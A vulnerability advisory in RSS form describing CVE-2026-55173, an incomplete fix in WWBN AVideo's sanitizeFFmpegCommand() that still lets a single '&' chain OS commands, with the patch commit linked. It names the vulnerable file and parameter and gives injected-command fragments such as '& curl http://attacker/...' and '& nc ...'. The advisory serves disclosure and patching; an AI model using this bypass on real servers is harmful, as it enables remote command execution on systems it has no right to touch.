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      <title>CVE-2026-55173 — AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&amp;' (background operator), giving…</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-55173</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; WWBN AVideo&lt;/p&gt;
&lt;p&gt;WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single &amp;amp; ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace(&amp;#39;&amp;amp;&amp;amp;&amp;#39;, &amp;#39;&amp;#39;, ...), but did not account for the single &amp;amp;. ffmpeg.json.php builds the command from _decryptString(getInput(&amp;#39;codeToExecEncrypted&amp;#39;)). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &amp;amp;-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the &amp;gt; strip, but command execution (e.g. &amp;amp; curl http://attacker/..., &amp;amp; nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; WWBN AVideo&lt;/p&gt;
&lt;p&gt;WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single &amp;amp; ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace(&amp;#39;&amp;amp;&amp;amp;&amp;#39;, &amp;#39;&amp;#39;, ...), but did not account for the single &amp;amp;. ffmpeg.json.php builds the command from _decryptString(getInput(&amp;#39;codeToExecEncrypted&amp;#39;)). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &amp;amp;-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the &amp;gt; strip, but command execution (e.g. &amp;amp; curl http://attacker/..., &amp;amp; nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.&lt;/p&gt;</content:encoded>
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